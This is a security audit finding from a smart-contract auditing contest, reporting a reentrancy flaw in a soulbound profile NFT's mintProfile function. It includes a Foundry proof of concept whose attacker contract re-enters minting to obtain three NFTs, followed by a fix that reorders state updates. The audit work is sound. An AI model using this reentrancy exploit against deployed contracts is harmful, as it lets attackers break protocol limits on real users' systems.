DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

H-01. A reentrancy risk exists during the minting of the soulbound NFT

Summary

The SoulboundProfileNFT contract contains a reentrancy risk in the mintProfile function, which may allow a user to mint multiple NFTs in a single transaction.

Vulnerability Details

The SoulboundProfileNFT::mintProfile function is responsible for minting NFTs. When calling _safeMint, it triggers the IERC721Receiver::onERC721Received callback. If the recipient is a contract that implements the onERC721Received interface, it can recursively call SoulboundProfileNFT::mintProfile.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Due to the code not following the CEI (Check-Effects-Interactions) pattern, a reentrancy risk is introduced.

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "../src/LikeRegistry.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract SoulboundProfileNFTReentrancyTest is Test {
SoulboundProfileNFT soulboundNFT;
LikeRegistry likeRegistry;
address user1 = address(0x123);
address user2 = address(0x456);
function setUp() public {
soulboundNFT = new SoulboundProfileNFT();
likeRegistry = new LikeRegistry(address(soulboundNFT));
}
// Test entry point
function testReentrancyAttack() public {
vm.prank(user1);
ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(address(soulboundNFT));
address attacker = address(reentrancyAttacker);
reentrancyAttacker.attack();
uint256 balance = soulboundNFT.balanceOf(attacker);
// The user's NFT balance is 3
assertEq(balance, 3, "Attacker should have minted exactly 3 NFTs");
}
}
contract ReentrancyAttacker is IERC721Receiver {
SoulboundProfileNFT soulboundNFT;
constructor(address _soulboundNFT) {
soulboundNFT = SoulboundProfileNFT(_soulboundNFT);
}
function attack() public {
soulboundNFT.mintProfile("attacker", 8, "profile_image");
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
// Assuming reentrancy occurs up to 3 times
if(soulboundNFT.balanceOf(address(this)) < 3) {
soulboundNFT.mintProfile("h", 8, "profile_image");
}
return IERC721Receiver.onERC721Received.selector;
}
}

Impact

Each user is supposed to own only one Soulbound NFT, but due to reentrancy, a user could potentially own multiple Soulbound NFTs, which violates the contract's protocol rules.

Tools Used

Manual review

Foundry for POC

Recommendations

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
+ profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
- profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Place Effects before Interactions, following the CEI pattern.

Updates

Appeal created

n0kto Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.